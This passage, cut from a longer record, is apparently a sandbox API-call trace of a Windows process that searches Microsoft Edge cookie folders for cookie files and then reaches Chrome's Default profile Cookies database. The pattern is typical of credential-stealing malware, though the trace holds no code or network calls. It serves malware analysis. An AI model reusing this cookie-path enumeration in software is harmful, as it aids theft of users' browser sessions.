halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.855] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.855] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.856] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0074.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.856] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.856] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.856] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\", lpDst=0x6d15fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\") returned 0x7b [0074.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.856] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0074.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.856] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.856] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.857] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0074.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.857] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.857] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.857] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\", lpDst=0x6d15fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\") returned 0x7b [0074.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.857] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0074.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.857] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.857] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.858] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0074.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.858] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.858] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.858] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\", lpDst=0x6d15fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\") returned 0x75 [0074.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.858] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0074.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.858] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.858] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.859] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0074.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.859] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.859] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.859] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6d15fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0074.859] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0074.859] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.859] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0074.860] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0074.860] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18e078*=0x0, psz="133287", len=0x6 | out: pbstr=0x18e078*="133287") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="3218", len=0x4 | out: pbstr=0x18df04*="3218") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18df00*=0x0, psz="1791", len=0x4 | out: pbstr=0x18df00*="1791") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18defc*=0x0, psz="3614", len=0x4 | out: pbstr=0x18defc*="3614") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18def8*=0x0, psz="3664", len=0x4 | out: pbstr=0x18def8*="3664") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18e080*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0074.861] SysReAllocStringLen (in: pbstr=0x18df0c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18df0c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18df08*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18df08*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS 